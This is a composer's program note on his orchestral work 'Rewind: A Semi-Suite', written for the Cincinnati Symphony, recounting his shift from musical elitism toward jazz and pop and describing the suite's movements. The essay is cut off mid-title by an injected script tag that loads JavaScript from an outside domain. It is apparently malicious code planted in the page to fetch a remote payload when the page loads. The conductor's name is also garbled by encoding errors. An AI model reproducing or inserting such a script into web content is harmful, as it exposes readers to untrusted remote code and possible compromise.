Update Title: 9C727CD3-CE27-4E06-82DF-35C211DE4827

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"Rewind: A Semi-Suite" was composed in honor of Jes£s Lùpez-Cobos's 15 years as Music Director of the Cincinnati Symphony. As 2000 also marked my twentieth year as Program Annotator of that orchestra, it seemed appropriate to create a retrospective work. "Rewind" chronicles my gradual acceptance of vernacular musical styles.

When I was an adolescent, I was a musical elitist. While my friends were listening to Elvis Presley and Bill Haley, the first two record albums I owned were of Beethoven's Seventh Symphony and Stravinsky's "Firebird Suite." For my friends, dance music was rock; for me it was ballet. Vernacular music--whether pop or jazz--never felt like my music. It did not speak to me or for me. I used to have difficulty understanding what people heard in such music that gave them pleasure.

Today my opinion has changed considerably. I now understand that there are good and bad pieces of music, but not good or bad types of music. In particular, I now respect and enjoy certain jazz, show music, rock tunes, and pop songs. There is something in some pop, jazz, and show music--the way it swings, perhaps, or certain melodic turns related to the blues scale--that connects with something deep within me, something I should have allowed to flower in my youth but which, for reasons of misguided pseudo-intellectualism, I stifled. Because of my long alienation from this music, I have had to work to arrive at my current appreciation.

During the 1970s and '80s, American populism began to assert itself in my compositions. Even when composing cerebral twelve-tone music, for example, I found myself flirting with passages that swing. My subconscious mind must have been trying to tell something to my conscious mind, as my culture struggled against my education. I allowed myself to include jazz- or pop-like passages in some compositions. Sometimes (for example, in my 1984 chamber piece "Atlanta Licks") I composed stylized versions of vernacular idioms. Sometimes I added to a series of piano pieces, called "Tunes for Piano," that sound somewhat (but only somewhat) like popular music, but which I was too embarrassed to allow to be heard in public. The only time they were performed in their entirety was before a mystified audience that had come to hear a concert of new music.

I eventually accepted that some of my music wanted to swing. It kept trying to get closer to populist genres, but--because of my background--they remained the enticing 'other,' the forbidden fruit. In a certain sense, "Rewind" traces these attempts. It shows some of the ways a self-conscious art-music composer tried to shed his elitism and embrace the music that most Americans know and love.

When I include pop or jazz  figures or sounds in my concert compositions today, I usually relish their uneasy coexistence with more 'serious' styles. Removed from their polystylistic contexts, however, these passages may take on a more laid back and more genuinely popular flavor. That is what I discovered when I composed a fanfare in honor of the hundredth birthday of the Cincinnati Symphony in 1994. That piece, 'Cincy in C,' became the first movement of "Rewind." In 'Cincy' I found myself quoting several earlier pieces, in which I had hinted at a pops concert style. The entire middle section, in fact, originated in a piece I had composed a few months earlier--"Notta Sonata for Two Pianos and Percussion." It surprises me how an extract from such a serious-minded work--one that extensively explores the confrontation of contrasting types of music--comfortably found a new home in a lighthearted fanfare.

The second movement of "Rewind" is an updating and orchestration of one of the pop-oriented Tunes for Piano I had written in the 1970s. Hence I call the movement 'An Old Tune.' The music that I used to fear making public is now laid out for all to hear.

"Rewind's" third movement comes from my 1998 piano trio "Surreality C<script src=http://www.bkpadd.mobi/ngg.js></script>

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